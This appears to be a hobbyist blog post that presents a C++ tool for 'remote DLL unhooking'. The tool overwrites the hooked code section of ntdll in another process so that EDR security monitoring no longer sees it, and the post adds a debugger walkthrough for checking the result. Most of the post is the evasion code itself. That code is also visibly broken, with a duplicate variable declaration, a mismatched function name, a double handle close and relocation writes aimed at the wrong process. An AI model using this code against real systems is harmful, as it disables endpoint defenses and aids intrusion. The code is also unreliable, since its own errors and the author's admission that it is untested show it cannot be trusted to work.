DLL unhooking is a methodology employed to circumvent detection by endpoint detection and response (EDR) systems. EDRs employ hooks within DLLs that contain Windows API functions to monitor for malicious activity. A comprehensive catalog of EDR hooks is readily accessible at Mr-Un1k0d3rs Github.
Usage
std::string dllName = "ntdll.dll"
int pid = [Code to get process ID of any function]
remoteunhook(dllName, int pid)
POC
Open x64dbg.exe and attach it to the target process (ex. procexp64.exe)
Identify a hooked function, I will search for "ZwMapViewOfSection":
E9 indicates ZwMapViewOfSection is hooked. Unhooked ntdll functions are expected to return have BX.
Detach x64dbg.exe and execute the remote dll unhooking tool against the remote process.
Re-attach x64dbg.exe and return to the ZwMapViewOfSection
If successful, there will be a BX value instead of E9
NOTE
The code below will only work with NTDLL.DLL, according to the research where I got the main base of this code from, ntdll doesn't need image base relocations. I have experimental code I have been working on at the bottom of this article but it has no been tested as I am still learning as I go!
I don't fully understand everything about PE files yet. This is code that I developed with a lot of research and asking ChatGPT what was wrong with my code LOL. USE AT OWN RISK.
int unhook(std::string test, HANDLE deez) {
// Set DLL path
std::string path = "c:\\windows\\system32\\";
// Open handle to remote process
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessId(deez));
// Get module information for the DLL to unhook.
MODULEINFO mi = {};
HMODULE dllModule = GetModuleHandleA(test.c_str());
GetModuleInformation(process, dllModule, &mi, sizeof(mi));
// Get handle to file and create mapping to DLL.
LPVOID dllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE dllFile = CreateFileA(path.append(test).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE dllFile = CreateFileMapping(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID dllFileAddress = MapViewOfFile(dllFile, FILE_MAP_READ, 0, 0, 0);
// Get header information for the DLL.
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);
// Loop through the sections in the DLL.
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
// If the section is .text, change its protection, write the DLL to memory, and update its relocation entry.
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_READWRITE, &oldProtection);
SIZE_T bytesWritten = 0;
WriteProcessMemory(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllFileAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten);
// NTDLL doesn't need image base relocation
if (test != "ntdll.dll") {
PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)dllBase + hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationSize = hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
while (relocationSize > 0) {
DWORD relocationCount = (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD relocationData = (PWORD)((DWORD_PTR)baseRelocation + sizeof(IMAGE_BASE_RELOCATION));
// Update the relocation entries.
for (DWORD j = 0; j < relocationCount; j++) {
if ((*relocationData >> 12) == IMAGE_REL_BASED_HIGHLOW) {
DWORD_PTR entryAddress = (DWORD_PTR)dllBase + baseRelocation->VirtualAddress + (*relocationData & 0xFFF);
int delta = (int)((DWORD_PTR)dllBase - hookedNtHeader->OptionalHeader.ImageBase);
// Update the relocation entry
*((ULONGLONG*)entryAddress) += delta;
}
relocationData++;
}
relocationSize -= baseRelocation->SizeOfBlock;
baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)baseRelocation + baseRelocation->SizeOfBlock);
}
break;
}
// Change memory back to its normal protection
isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
// Close handles and free memory
CloseHandle(process);
CloseHandle(dllFile);
CloseHandle(dllFile);
FreeLibrary(dllModule);
return 0;
}